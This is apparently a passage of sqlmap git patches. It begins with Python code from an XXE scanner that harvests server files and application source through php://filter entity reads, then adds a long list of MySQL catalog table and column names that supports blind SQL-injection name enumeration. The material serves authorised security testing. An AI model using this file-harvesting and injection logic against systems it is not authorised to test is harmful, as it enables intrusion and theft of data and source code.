application source-code disclosure via php://filter") + + result = [] + read = set() + for path in candidates: + if path in read: + continue + read.add(path) + content, payload = _tryInbandFileRead(xml, rootName, path) + if content and content.strip() and getUnicode(content).strip() not in seen: + seen.add(getUnicode(content).strip()) + result.append((path, content, payload)) + return result + + def _tryInternal(xml, rootName, baseline): """T2 in-band: an internal general entity expands to the sentinel and is reflected. Guarded by a negative control (sentinel absent from baseline) and @@ -716,7 +789,9 @@ def xxeScan(): if harvested: found = True firstPath, _, firstPayload = harvested[0] - logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested)) + # follow-up: server-side application source disclosure (php://filter) + harvested += _harvestSource(xml, rootName, harvested) + logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested)) _report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload) saved = [] for path, content, _ in harvested: From 50ff3debe54100f6413ecb755e1d6eff2715675f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 6 Jul 2026 12:02:22 +0200 Subject: [PATCH 138/165] General boolean inference improvements --- data/txt/catalog-identifiers.txt | 13792 ++++++++++++++++++++++++++++ data/txt/common-outputs.txt | 1476 --- data/txt/sha256sums.txt | 22 +- lib/core/common.py | 61 +- lib/core/option.py | 11 +- lib/core/optiondict.py | 1 - lib/core/settings.py | 53 +- lib/core/testing.py | 2 +- lib/parse/cmdline.py | 3 - lib/request/inject.py | 155 + lib/techniques/blind/inference.py | 405 +- plugins/generic/databases.py | 69 +- plugins/generic/entries.py | 85 +- 13 files changed, 14506 insertions(+), 1629 deletions(-) create mode 100644 data/txt/catalog-identifiers.txt delete mode 100644 data/txt/common-outputs.txt diff --git a/data/txt/catalog-identifiers.txt b/data/txt/catalog-identifiers.txt new file mode 100644 index 000000000..3d49680a5 --- /dev/null +++ b/data/txt/catalog-identifiers.txt @@ -0,0 +1,13792 @@ +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission +# +# Real DBMS system/catalog table and column identifiers, grouped in [] sections (the section +# name matches a lib.core.enums.DBMS value). Used to warm a per-DBMS character-level Markov model that +# drives Huffman set-membership retrieval during blind table/column NAME enumeration (see +# lib/techniques/blind/inference.py::getHuffmanPrior); the fingerprinted back-end's section is loaded +# at run time. Not used for whole-value wordlist matching. + +[MySQL] +Abbreviation +ACCESS_MODE +ACCESS_TIME +account_locked +accounts +ACTION_CONDITION +ACTION_ORDER +ACTION_ORIENTATION +ACTION_REFERENCE_NEW_ROW +ACTION_REFERENCE_NEW_TABLE +ACTION_REFERENCE_OLD_ROW +ACTION_REFERENCE_OLD_TABLE +ACTION_STATEMENT +ACTION_TIMING +ACTIVE_SINCE +ADMINISTRABLE_ROLE_AUTHORIZATIONS +allocated +ALLOCATED_SIZE +Alter_priv +Alter_routine_priv +APPLICABLE_ROLES +APPLYING_TRANSACTION +APPLYING_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +APPLYING_TRANSACTION_LAST_TRANSIENT_ERROR_MESSAGE +APPLYING_TRANSACTION_LAST_TRANSIENT_ERROR_NUMBER +APPLYING_TRANSACTION_LAST_TRANSIENT_ERROR_TIMESTAMP +APPLYING_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +APPLYING_TRANSACTION_RETRIES_COUNT +APPLYING_TRANSACTION_START_APPLY_TIMESTAMP +argument +Assign_gtids_to_anonymous_transactions_type +Assign_gtids_to_anonymous_transactions_value +ATTRIBUTE +ATTR_NAME +ATTR_VALUE +authentication_string +AUTOCOMMIT +AUTOEXTEND_SIZE +AUTOINC +AUTO_INCREMENT +auto_increment_ratio +AUTO_POSITION +AVG_COUNT +AVG_COUNT_RESET +avg_latency +avg_read +AVG_ROW_LENGTH +avg_rows_sorted +avg_sort_merges +AVG_STATEMENTS_WAIT +AVG_TIMER_DELETE +AVG_TIMER_EXECUTE +AVG_TIMER_FETCH +AVG_TIMER_INSERT +AVG_TIMER_MISC +AVG_TIMER_READ +AVG_TIMER_READ_EXTERNAL +AVG_TIMER_READ_HIGH_PRIORITY +AVG_TIMER_READ_NO_INSERT +AVG_TIMER_READ_NORMAL +AVG_TIMER_READ_ONLY +AVG_TIMER_READ_WITH_SHARED_LOCKS +AVG_TIMER_READ_WRITE +AVG_TIMER_UPDATE +AVG_TIMER_WAIT +AVG_TIMER_WRITE +AVG_TIMER_WRITE_ALLOW_WRITE +AVG_TIMER_WRITE_CONCURRENT_INSERT +AVG_TIMER_WRITE_EXTERNAL +AVG_TIMER_WRITE_LOW_PRIORITY +AVG_TIMER_WRITE_NORMAL +avg_tmp_tables_per_query +avg_us +avg_write +avg_written +BACKEND_KEY_ID +BASE_POS +binary_log_transaction_compression_stats +Bind +BLOCK_ID +blocking_account +BLOCKING_ENGINE_LOCK_ID +BLOCKING_ENGINE_TRANSACTION_ID +BLOCKING_EVENT_ID +blocking_lock_duration +blocking_lock_id +blocking_lock_mode +blocking_lock_type +BLOCKING_OBJECT_INSTANCE_BEGIN +blocking_pid +blocking_query +BLOCKING_THREAD_ID +blocking_trx_age +blocking_trx_id +blocking_trx_rows_locked +blocking_trx_rows_modified +blocking_trx_started +BLOCK_OPS_IN +BLOCK_OPS_OUT +BUCKET_NUMBER +BUCKET_QUANTILE +BUCKET_TIMER_HIGH +BUCKET_TIMER_LOW +buffer_pool_instance +CARDINALITY +CATALOG_NAME +CHANNEL +Channel_name +CHARACTER_MAXIMUM_LENGTH +CHARACTER_OCTET_LENGTH +CHARACTER_SET_CLIENT +CHARACTER_SET_NAME +CHARACTER_SETS +CHECK_CLAUSE +CHECK_CONSTRAINTS +CHECK_OPTION +Checkpoint_group_bitmap +Checkpoint_group_size +Checkpoint_master_log_name +Checkpoint_master_log_pos +Checkpoint_relay_log_name +Checkpoint_relay_log_pos +Checkpoint_seqno +CHECKSUM +CHECK_TIME +clustered_index_size +CLUST_INDEX_SIZE +cnt +COLLATION +COLLATION_CHARACTER_SET_APPLICABILITY +COLLATION_CONNECTION +COLLATION_NAME +COLLATIONS +COLUMN_COMMENT +COLUMN_DEFAULT +COLUMN_KEY +COLUMN_NAME +Column_priv +COLUMN_PRIVILEGES +COLUMNS +COLUMNS_EXTENSIONS +columns_priv +COLUMN_STATISTICS +COLUMN_TYPE +COMMAND +command_type +COMMENT +component +component_group_id +component_id +component_urn +COMPRESSED +COMPRESSED_BYTES_COUNTER +COMPRESSED_SIZE +COMPRESSION_ALGORITHM +COMPRESSION_PERCENTAGE +COMPRESSION_TYPE +compress_ops +compress_ops_ok +compress_time +cond_instances +Configuration +CONFIGURED_BY +CONNECTION_RETRY_COUNT +CONNECTION_RETRY_INTERVAL +CONNECTION_TYPE +Connect_retry +conn_id +CONSTRAINT_CATALOG +CONSTRAINT_NAME +CONSTRAINT_SCHEMA +CONSTRAINT_TYPE +CONSUMER_LEVEL +CONTEXT_INVOLUNTARY +CONTEXT_VOLUNTARY +CONTROLLED_MEMORY +CONVERSION_FACTOR +Correction +cost_name +cost_value +COUNT +COUNT_ADDRINFO_PERMANENT_ERRORS +COUNT_ADDRINFO_TRANSIENT_ERRORS +COUNT_ALLOC +COUNT_AUTHENTICATION_ERRORS +COUNT_AUTH_PLUGIN_ERRORS +COUNT_BUCKET +COUNT_BUCKET_AND_LOWER +COUNT_CONFLICTS_DETECTED +COUNT_DEFAULT_DATABASE_ERRORS +COUNT_DELETE +COUNTER +COUNT_EXECUTE +COUNT_FCRDNS_ERRORS +COUNT_FETCH +COUNT_FORMAT_ERRORS +COUNT_FREE +COUNT_HANDSHAKE_ERRORS +COUNT_HOST_ACL_ERRORS +COUNT_HOST_BLOCKED_ERRORS +COUNT_INIT_CONNECT_ERRORS +COUNT_INSERT +COUNT_LOCAL_ERRORS +COUNT_MAX_USER_CONNECTIONS_ERRORS +COUNT_MAX_USER_CONNECTIONS_PER_HOUR_ERRORS +COUNT_MISC +COUNT_NAMEINFO_PERMANENT_ERRORS +COUNT_NAMEINFO_TRANSIENT_ERRORS +COUNT_NO_AUTH_PLUGIN_ERRORS +COUNT_PROXY_USER_ACL_ERRORS +COUNT_PROXY_USER_ERRORS +COUNT_READ +COUNT_READ_EXTERNAL +COUNT_READ_HIGH_PRIORITY +COUNT_READ_NO_INSERT +COUNT_READ_NORMAL +COUNT_READ_ONLY +COUNT_READ_WITH_SHARED_LOCKS +COUNT_READ_WRITE +COUNT_RECEIVED_HEARTBEATS +COUNT_REPREPARE +COUNT_RESET +COUNT_SECONDARY +COUNT_SSL_ERRORS +COUNT_STAR +COUNT_STATEMENTS +COUNT_TRANSACTIONS_CHECKED +COUNT_TRANSACTIONS_IN_QUEUE +COUNT_TRANSACTIONS_LOCAL_PROPOSED +COUNT_TRANSACTIONS_LOCAL_ROLLBACK +COUNT_TRANSACTIONS_REMOTE_APPLIED +COUNT_TRANSACTIONS_REMOTE_IN_APPLIER_QUEUE +COUNT_TRANSACTIONS_RETRIES +COUNT_TRANSACTIONS_ROWS_VALIDATING +COUNT_UNKNOWN_ERRORS +COUNT_UPDATE +COUNT_WRITE +COUNT_WRITE_ALLOW_WRITE +COUNT_WRITE_CONCURRENT_INSERT +COUNT_WRITE_EXTERNAL +COUNT_WRITE_LOW_PRIORITY +COUNT_WRITE_NORMAL +cpu_latency +CPU_SYSTEM +CPU_TIME +CPU_USER +CREATED +CREATED_TMP_DISK_TABLES +CREATED_TMP_TABLES +CREATE_OPTIONS +Create_priv +Create_role_priv +Create_routine_priv +Create_tablespace_priv +CREATE_TIME +Create_tmp_table_priv +Create_user_priv +Create_view_priv +CREATION_TIME +current_alloc +current_allocated +current_avg_alloc +CURRENT_CONNECTIONS +current_count +CURRENT_COUNT_USED +current_max_alloc +current_memory +CURRENT_NUMBER_OF_BYTES_USED +CURRENT_SCHEMA +current_statement +DATA +DATABASE_COLLATION +database_name +DATABASE_PAGES +DATA_FREE +DATA_LENGTH +data_locks +data_lock_waits +DATA_SIZE +DATA_TYPE +DATETIME_PRECISION +db +DB +DEFAULT_CHARACTER_SET_NAME +DEFAULT_COLLATE_NAME +DEFAULT_COLLATION_NAME +DEFAULT_ENCRYPTION +DEFAULT_ROLE_HOST +default_roles +DEFAULT_ROLE_USER +DEFAULT_VALUE +DEFINER +DEFINITION +DELETED_ROWS +delete_latency +Delete_priv +DELETE_RULE +deletes +DESCRIPTION +DESIRED_DELAY +device_type +DIGEST +DIGEST_TEXT +disk_tmp_tables +dl +DOC_COUNT +DOC_ID +DOCUMENTATION +dominant_index_columns +dominant_index_name +dominant_index_non_unique +Drop_priv +Drop_role_priv +DTD_IDENTIFIER +DURATION +enabled +Enabled_auto_position +ENABLED_ROLES +Enabled_ssl +ENCRYPTION +END_EVENT_ID +END_LSN +ENDS +ENFORCED +ENGINE +ENGINE_ATTRIBUTE +engine_cost +ENGINE_LOCK_ID +engine_name +ENGINES +ENGINE_TRANSACTION_ID +epoch +err_count +ERROR_CODE +error_handling +error_log +ERROR_NAME +ERROR_NUMBER +error_pct +ERRORS +event +EVENT_BODY +EVENT_CATALOG +event_class +EVENT_COMMENT +EVENT_DEFINITION +EVENT_ID +EVENT_MANIPULATION +EVENT_NAME +EVENT_OBJECT_CATALOG +EVENT_OBJECT_SCHEMA +EVENT_OBJECT_TABLE +Event_priv +events +EVENTS +EVENT_SCHEMA +events_errors_summary_by_account_by_error +events_errors_summary_by_host_by_error +events_errors_summary_by_thread_by_error +events_errors_summary_by_user_by_error +events_errors_summary_global_by_error +events_stages_current +events_stages_history +events_stages_history_long +events_stages_summary_by_account_by_event_name +events_stages_summary_by_host_by_event_name +events_stages_summary_by_thread_by_event_name +events_stages_summary_by_user_by_event_name +events_stages_summary_global_by_event_name +events_statements_current +events_statements_histogram_by_digest +events_statements_histogram_global +events_statements_history +events_statements_history_long +events_statements_summary_by_account_by_event_name +events_statements_summary_by_digest +events_statements_summary_by_host_by_event_name +events_statements_summary_by_program +events_statements_summary_by_thread_by_event_name +events_statements_summary_by_user_by_event_name +events_statements_summary_global_by_event_name +events_transactions_current +events_transactions_history +events_transactions_history_long +events_transactions_summary_by_account_by_event_name +events_transactions_summary_by_host_by_event_name +events_transactions_summary_by_thread_by_event_name +events_transactions_summary_by_user_by_event_name +events_transactions_summary_global_by_event_name +events_waits_current +events_waits_history +events_waits_history_long +events_waits_summary_by_account_by_event_name +events_waits_summary_by_host_by_event_name +events_waits_summary_by_instance +events_waits_summary_by_thread_by_event_name +events_waits_summary_by_user_by_event_name +events_waits_summary_global_by_event_name +event_time +EVENT_TYPE +example +exec_count +exec_secondary_count +EXECUTE_AT +Execute_priv +EXECUTION_ENGINE +EXPRESSION +EXTENT_SIZE +EXTERNAL_LANGUAGE +EXTERNAL_LOCK +EXTERNAL_NAME +EXTRA +fetch_latency +File +FILE_ID +file_instances +file_io_latency +file_ios +FILE_NAME +File_priv +FILES +FILE_SIZE +file_summary_by_event_name +file_summary_by_instance +FILE_TYPE +FILTER_NAME +FILTER_RULE +FIRST_DOC_ID +FIRST_ERROR_SEEN +FIRST_SEEN +FIRST_TRANSACTION_COMPRESSED_BYTES +FIRST_TRANSACTION_ID +FIRST_TRANSACTION_TIMESTAMP +FIRST_TRANSACTION_UNCOMPRESSED_BYTES +FIX_COUNT +FLAG +FLAGS +FLUSH_TYPE +FOR_COL_NAME +FOR_NAME +FREE_BUFFERS +FREE_EXTENTS +FREE_PAGE_CLOCK +FREQUENCY +FROM_HOST +FROM_USER +FS_BLOCK_SIZE +full_scan +full_scans +FULLTEXT_KEYS +func +gci +general_log +GENERATION_EXPRESSION +GEOMETRY_TYPE_NAME +Get_public_key +global_grants +global_status +global_variables +GRANTEE +GRANTEE_HOST +GRANTOR +GRANTOR_HOST +Grant_priv +GROUP_NAME +GTID +gtid_executed +Gtid_only +gtid_tag +HAS_DEFAULT +Heartbeat +HEARTBEAT_INTERVAL +help_category +help_category_id +help_keyword +help_keyword_id +help_relation +help_topic +help_topic_id +high_alloc +high_avg_alloc +high_count +HIGH_COUNT_USED +HIGH_NUMBER_OF_BYTES_USED +HISTOGRAM +HISTORY +HIT_RATE +HOST +host_cache +hosts +host_summary +host_summary_by_file_io +host_summary_by_file_io_type +host_summary_by_stages +host_summary_by_statement_latency +host_summary_by_statement_type +HOST_VALIDATED +ID +Ignored_server_ids +index_columns +INDEX_COMMENT +INDEX_ID +INDEX_LENGTH +INDEX_NAME +Index_priv +INDEX_SCHEMA +INDEX_TYPE +INFO +INITIAL_SIZE +innodb_buffer_allocated +innodb_buffer_data +innodb_buffer_free +INNODB_BUFFER_PAGE +INNODB_BUFFER_PAGE_LRU +innodb_buffer_pages +innodb_buffer_pages_hashed +innodb_buffer_pages_old +INNODB_BUFFER_POOL_STATS +innodb_buffer_rows_cached +innodb_buffer_stats_by_schema +innodb_buffer_stats_by_table +INNODB_CACHED_INDEXES +INNODB_CMP +INNODB_CMPMEM +INNODB_CMPMEM_RESET +INNODB_CMP_PER_INDEX +INNODB_CMP_PER_INDEX_RESET +INNODB_CMP_RESET +INNODB_COLUMNS +INNODB_DATAFILES +INNODB_FIELDS +INNODB_FOREIGN +INNODB_FOREIGN_COLS +INNODB_FT_BEING_DELETED +INNODB_FT_CONFIG +INNODB_FT_DEFAULT_STOPWORD +INNODB_FT_DELETED +INNODB_FT_INDEX_CACHE +INNODB_FT_INDEX_TABLE +INNODB_INDEXES +innodb_index_stats +innodb_lock_waits +INNODB_METRICS +innodb_redo_log_files +INNODB_SESSION_TEMP_TABLESPACES +INNODB_TABLES +INNODB_TABLESPACES +INNODB_TABLESPACES_BRIEF +innodb_table_stats +INNODB_TABLESTATS +INNODB_TEMP_TABLE_INFO +INNODB_TRX +INNODB_VIRTUAL +insert_id +insert_latency +Insert_priv +inserts +INSTANT_COLS +INSTRUMENTED +INSUFFICIENT_PRIVILEGES +INTERNAL_LOCK +international +interval_end +INTERVAL_FIELD +interval_start +INTERVAL_VALUE +io_by_thread_by_latency +IO_FIX +io_global_by_file_by_bytes +io_global_by_file_by_latency +io_global_by_wait_by_bytes +io_global_by_wait_by_latency +io_latency +io_misc_latency +io_misc_requests +io_read +io_read_latency +io_read_requests +ios +io_write +io_write_latency +io_write_requests +IP +IS_COMPILED +IS_DEFAULT +IS_DETERMINISTIC +Is_DST +IS_FULL +IS_GRANTABLE +IS_HASHED +IS_MANDATORY +IS_NULLABLE +ISOLATION_LEVEL +IS_OLD +is_signed +IS_STALE +is_unsigned +IS_UPDATABLE +IS_VISIBLE +KEY +KEY_COLUMN_USAGE +KEY_ID +KEY_OWNER +keyring_component_status +keyring_keys +KEYWORDS +LAST_ACCESS_TIME +LAST_ALTERED +LAST_APPLIED_TRANSACTION +LAST_APPLIED_TRANSACTION_END_APPLY_TIMESTAMP +LAST_APPLIED_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +LAST_APPLIED_TRANSACTION_LAST_TRANSIENT_ERROR_MESSAGE +LAST_APPLIED_TRANSACTION_LAST_TRANSIENT_ERROR_NUMBER +LAST_APPLIED_TRANSACTION_LAST_TRANSIENT_ERROR_TIMESTAMP +LAST_APPLIED_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +LAST_APPLIED_TRANSACTION_RETRIES_COUNT +LAST_APPLIED_TRANSACTION_START_APPLY_TIMESTAMP +LAST_CONFLICT_FREE_TRANSACTION +LAST_DOC_ID +LAST_ERROR_MESSAGE +LAST_ERROR_NUMBER +LAST_ERROR_SEEN +LAST_ERROR_TIMESTAMP +LAST_EXECUTED +LAST_HEARTBEAT_TIMESTAMP +last_insert_id +LAST_PROCESSED_TRANSACTION +LAST_PROCESSED_TRANSACTION_END_BUFFER_TIMESTAMP +LAST_PROCESSED_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +LAST_PROCESSED_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +LAST_PROCESSED_TRANSACTION_START_BUFFER_TIMESTAMP +LAST_QUEUED_TRANSACTION +LAST_QUEUED_TRANSACTION_END_QUEUE_TIMESTAMP +LAST_QUEUED_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +LAST_QUEUED_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +LAST_QUEUED_TRANSACTION_START_QUEUE_TIMESTAMP +LAST_SEEN +last_statement +last_statement_latency +LAST_TRANSACTION_COMPRESSED_BYTES +LAST_TRANSACTION_ID +LAST_TRANSACTION_TIMESTAMP +LAST_TRANSACTION_UNCOMPRESSED_BYTES +last_update +LAST_UPDATE_TIME +last_wait +last_wait_latency +latency +latest_file_io +LEN +LOAD_OPTION +LOCAL +LOCK_DATA +LOCK_DURATION +LOCKED_BY_THREAD_ID +locked_index +locked_table +locked_table_name +locked_table_partition +locked_table_schema +locked_table_subpartition +locked_type +lock_latency +LOCK_MODE +LOCK_STATUS +Lock_tables_priv +lock_time +LOCK_TYPE +LOGFILE_GROUP_NAME +LOGFILE_GROUP_NUMBER +LOGGED +log_status +LOG_TYPE +LOW_COUNT_USED +LOW_NUMBER_OF_BYTES_USED +LRU_IO_CURRENT +LRU_IO_TOTAL +LRU_POSITION +Managed_name +Managed_type +Master_compression_algorithm +Master_log_name +Master_log_pos +Master_zstd_compression_level +MATCH_OPTION +max_connections +MAX_CONTROLLED_MEMORY +MAX_COUNT +MAX_COUNT_RESET +MAX_DATA_LENGTH +MAXIMUM_SIZE +max_latency +MAXLEN +max_questions +MAX_SESSION_CONTROLLED_MEMORY +MAX_SESSION_TOTAL_MEMORY +MAX_STATEMENTS_WAIT +MAX_TIMER_DELETE +MAX_TIMER_EXECUTE +MAX_TIMER_FETCH +MAX_TIMER_INSERT +MAX_TIMER_MISC +MAX_TIMER_READ +MAX_TIMER_READ_EXTERNAL +MAX_TIMER_READ_HIGH_PRIORITY +MAX_TIMER_READ_NO_INSERT +MAX_TIMER_READ_NORMAL +MAX_TIMER_READ_ONLY +MAX_TIMER_READ_WITH_SHARED_LOCKS +MAX_TIMER_READ_WRITE +MAX_TIMER_UPDATE +MAX_TIMER_WAIT +MAX_TIMER_WRITE +MAX_TIMER_WRITE_ALLOW_WRITE +MAX_TIMER_WRITE_CONCURRENT_INSERT +MAX_TIMER_WRITE_EXTERNAL +MAX_TIMER_WRITE_LOW_PRIORITY +MAX_TIMER_WRITE_NORMAL +MAX_TOTAL_MEMORY +max_updates +max_user_connections +MAX_VALUE +MEMBER_COMMUNICATION_STACK +MEMBER_HOST +MEMBER_ID +MEMBER_PORT +MEMBER_ROLE +MEMBER_STATE +MEMBER_VERSION +memory_by_host_by_current_bytes +memory_by_thread_by_current_bytes +memory_by_user_by_current_bytes +memory_global_by_current_bytes +memory_global_total +memory_summary_by_account_by_event_name +memory_summary_by_host_by_event_name +memory_summary_by_thread_by_event_name +memory_summary_by_user_by_event_name +memory_summary_global_by_event_name +memory_tmp_tables +MERGE_THRESHOLD +MESSAGES_RECEIVED +MESSAGES_SENT +MESSAGE_TEXT +metadata_locks +METER +metrics +METRIC_TYPE +MIN_COUNT +MIN_COUNT_RESET +min_latency +MIN_STATEMENTS_WAIT +MIN_TIMER_DELETE +MIN_TIMER_EXECUTE +MIN_TIMER_FETCH +MIN_TIMER_INSERT +MIN_TIMER_MISC +MIN_TIMER_READ +MIN_TIMER_READ_EXTERNAL +MIN_TIMER_READ_HIGH_PRIORITY +MIN_TIMER_READ_NO_INSERT +MIN_TIMER_READ_NORMAL +MIN_TIMER_READ_ONLY +MIN_TIMER_READ_WITH_SHARED_LOCKS +MIN_TIMER_READ_WRITE +MIN_TIMER_UPDATE +MIN_TIMER_WAIT +MIN_TIMER_WRITE +MIN_TIMER_WRITE_ALLOW_WRITE +MIN_TIMER_WRITE_CONCURRENT_INSERT +MIN_TIMER_WRITE_EXTERNAL +MIN_TIMER_WRITE_LOW_PRIORITY +MIN_TIMER_WRITE_NORMAL +MIN_VALUE +misc_latency +MISSING_BYTES_BEYOND_MAX_MEM_SIZE +MODIFIED_COUNTER +MODIFIED_DATABASE_PAGES +MTYPE +mutex_instances +MYSQL_ERRNO +mysql_version +NAME +N_CACHED_PAGES +N_COLS +ndb_binlog_index +NESTING_EVENT_ID +NESTING_EVENT_LEVEL +NESTING_EVENT_TYPE +NETWORK_INTERFACE +Network_namespace +NEWEST_MODIFICATION +next_file +next_position +N_FIELDS +NODEGROUP +NO_GOOD_INDEX_USED +no_good_index_used_count +NO_INDEX_USED +no_index_used_count +no_index_used_pct +NON_UNIQUE +NOT_YOUNG_MAKE_PER_THOUSAND_GETS +n_rows +NULLABLE +NUMBER_OF_BYTES +Number_of_lines +NUMBER_OF_RELEASE_SAVEPOINT +NUMBER_OF_ROLLBACK_TO_SAVEPOINT +NUMBER_OF_SAVEPOINTS +Number_of_workers +NUMBER_PAGES_CREATED +NUMBER_PAGES_GET +NUMBER_PAGES_READ +NUMBER_PAGES_READ_AHEAD +NUMBER_PAGES_WRITTEN +NUMBER_READ_AHEAD_EVICTED +NUMBER_RECORDS +NUMERIC_PRECISION +NUMERIC_SCALE +NUM_ROWS +NUM_TYPE +OBJECT_INSTANCE_BEGIN +OBJECT_NAME +OBJECT_SCHEMA +objects_summary_global_by_type +OBJECT_TYPE +Offset +OLD_DATABASE_PAGES +OLDEST_MODIFICATION +ON_COMPLETION +OPEN_COUNT +OPERATION +OPTIMIZER_TRACE +OPTIONS +ORDINAL_POSITION +ORGANIZATION +ORGANIZATION_COORDSYS_ID +orig_epoch +ORIGINATOR +orig_server_id +OTHER_INDEX_SIZE +Owner +OWNER_EVENT_ID +OWNER_OBJECT_NAME +OWNER_OBJECT_SCHEMA +OWNER_OBJECT_TYPE +OWNER_THREAD_ID +PACKED +PAD_ATTRIBUTE +PAGE_FAULTS_MAJOR +PAGE_FAULTS_MINOR +PAGE_NO +PAGE_NUMBER +pages +PAGES_CREATE_RATE +pages_free +pages_hashed +page_size +PAGES_MADE_NOT_YOUNG_RATE +PAGES_MADE_YOUNG +PAGES_MADE_YOUNG_RATE +PAGES_NOT_MADE_YOUNG +pages_old +PAGES_READ_RATE +PAGE_STATE +pages_used +PAGES_WRITTEN_RATE +PAGE_TYPE +PARAMETER_MODE +PARAMETER_NAME +PARAMETERS +PARAMETER_STYLE +parent_category_id +PARENT_THREAD_ID +PARTITION_COMMENT +PARTITION_DESCRIPTION +PARTITION_EXPRESSION +PARTITION_METHOD +PARTITION_NAME +PARTITION_ORDINAL_POSITION +PARTITIONS +Password +password_expired +password_history +password_last_changed +password_lifetime +Password_require_current +Password_reuse_history +Password_reuse_time +Password_timestamp +PATH +PENDING_DECOMPRESS +PENDING_FLUSH_LIST +PENDING_FLUSH_LRU +PENDING_READS +percentile +performance_timers +persisted_variables +pid +plugin +PLUGIN_AUTHOR +PLUGIN_DESCRIPTION +PLUGIN_LIBRARY +PLUGIN_LIBRARY_VERSION +PLUGIN_LICENSE +PLUGIN_NAME +PLUGINS +PLUGIN_STATUS +PLUGIN_TYPE +PLUGIN_TYPE_VERSION +PLUGIN_VERSION +POOL_ID +POOL_SIZE +Port +POS +POSITION +POSITION_IN_UNIQUE_CONSTRAINT +prepared_statements_instances +PRIO +priority +PRIV +Privilege_checks_hostname +PRIVILEGE_CHECKS_USER +Privilege_checks_username +PRIVILEGES +PRIVILEGE_TYPE +PROCESSING_TRANSACTION +PROCESSING_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +PROCESSING_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +PROCESSING_TRANSACTION_START_BUFFER_TIMESTAMP +processlist +PROCESSLIST +PROCESSLIST_COMMAND +PROCESSLIST_DB +PROCESSLIST_HOST +PROCESSLIST_ID +PROCESSLIST_INFO +PROCESSLIST_STATE +PROCESSLIST_TIME +PROCESSLIST_USER +Process_priv +Proc_priv +procs_priv +PROFILING +program_name +progress +PROPERTIES +PROPERTY +Proxied_host +Proxied_user +proxies_priv +PRTYPE +ps_check_lost_instrumentation +Public_key_path +PURPOSE +QUANTILE_95 +QUANTILE_99 +QUANTILE_999 +QUERY +QUERY_ID +QUERY_SAMPLE_SEEN +QUERY_SAMPLE_TEXT +QUERY_SAMPLE_TIMER_WAIT +query_time +QUEUEING_TRANSACTION +QUEUEING_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +QUEUEING_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +QUEUEING_TRANSACTION_START_QUEUE_TIMESTAMP +READ_AHEAD_EVICTED_RATE +READ_AHEAD_RATE +read_latency +READ_LOCKED_BY_COUNT +RECEIVED_TRANSACTION_SET +RECOVER_TIME +redundant_index_columns +redundant_index_name +redundant_index_non_unique +REF_COL_NAME +REF_COUNT +REFERENCED_COLUMN_NAME +REFERENCED_TABLE_NAME +REFERENCED_TABLE_SCHEMA +References_priv +REFERENTIAL_CONSTRAINTS +REF_NAME +Relay_log_name +Relay_log_pos +Reload_priv +relocation_ops +relocation_time +REMAINING_DELAY +Repl_client_priv +REPLICATION +replication_applier_configuration +replication_applier_filters +replication_applier_global_filters +replication_applier_status +replication_applier_status_by_coordinator +replication_applier_status_by_worker +replication_asynchronous_connection_failover +replication_asynchronous_connection_failover_managed +replication_connection_configuration +replication_connection_status +replication_group_configuration_version +replication_group_member_actions +replication_group_members +replication_group_member_stats +Repl_slave_priv +requested +REQUESTING_ENGINE_LOCK_ID +REQUESTING_ENGINE_TRANSACTION_ID +REQUESTING_EVENT_ID +REQUESTING_OBJECT_INSTANCE_BEGIN +REQUESTING_THREAD_ID +Require_row_format +Require_table_primary_key_check +RESERVED +RESOURCE_GROUP +RESOURCE_GROUP_ENABLED +RESOURCE_GROUP_NAME +RESOURCE_GROUPS +RESOURCE_GROUP_TYPE +ret +Retry_count +RETURNED_SQLSTATE +ROLE +ROLE_COLUMN_GRANTS +role_edges +ROLE_HOST +ROLE_NAME +ROLE_ROUTINE_GRANTS +ROLE_TABLE_GRANTS +ROUTINE_BODY +ROUTINE_CATALOG +ROUTINE_COMMENT +ROUTINE_DEFINITION +ROUTINE_NAME +ROUTINES +ROUTINE_SCHEMA +ROUTINE_TYPE +ROW_FORMAT +ROWS_AFFECTED +rows_affected_avg +rows_cached +rows_deleted +rows_examined +rows_examined_avg +rows_fetched +rows_full_scanned +rows_inserted +rows_selected +rows_sent +rows_sent_avg +rows_sorted +rows_updated +rwlock_instances +sample_size +SAVEPOINTS +schema_auto_increment_columns +schema_index_statistics +SCHEMA_NAME +schema_object_overview +schemaops +SCHEMA_PRIVILEGES +schema_redundant_indexes +SCHEMATA +schema_table_lock_waits +schema_table_statistics +schema_table_statistics_with_buffer +schema_tables_with_full_table_scans +SCHEMATA_EXTENSIONS +schema_unused_indexes +SECONDARY_ENGINE_ATTRIBUTE +SECURITY_TYPE +SELECT_FULL_JOIN +SELECT_FULL_RANGE_JOIN +select_latency +Select_priv +SELECT_RANGE +SELECT_RANGE_CHECK +SELECT_SCAN +SEQ +SEQ_IN_INDEX +server_cost +server_id +Server_name +servers +SERVER_UUID +SERVER_VERSION +SERVICE_STATE +session +session_account_connect_attrs +session_connect_attrs +session_ssl_status +session_status +session_variables +set_by +SET_HOST +SET_TIME +setup_actors +setup_consumers +setup_instruments +setup_meters +setup_metrics +setup_objects +setup_threads +SET_USER +Show_db_priv +Show_view_priv +Shutdown_priv +SIZE +SIZE_IN_BYTES +slave_master_info +slave_relay_log_info +slave_worker_info +slow_log +Socket +SOCKET_ID +socket_instances +socket_summary_by_event_name +socket_summary_by_instance +SORTLEN +SORT_MERGE_PASSES +SORT_RANGE +SORT_ROWS +SORT_SCAN +sorts_using_scans +sort_using_range +SOURCE +Source_connection_auto_failover +SOURCE_FILE +SOURCE_FUNCTION +SOURCE_LINE +source_uuid +SPACE +SPACE_ID +SPACE_TYPE +SPACE_VERSION 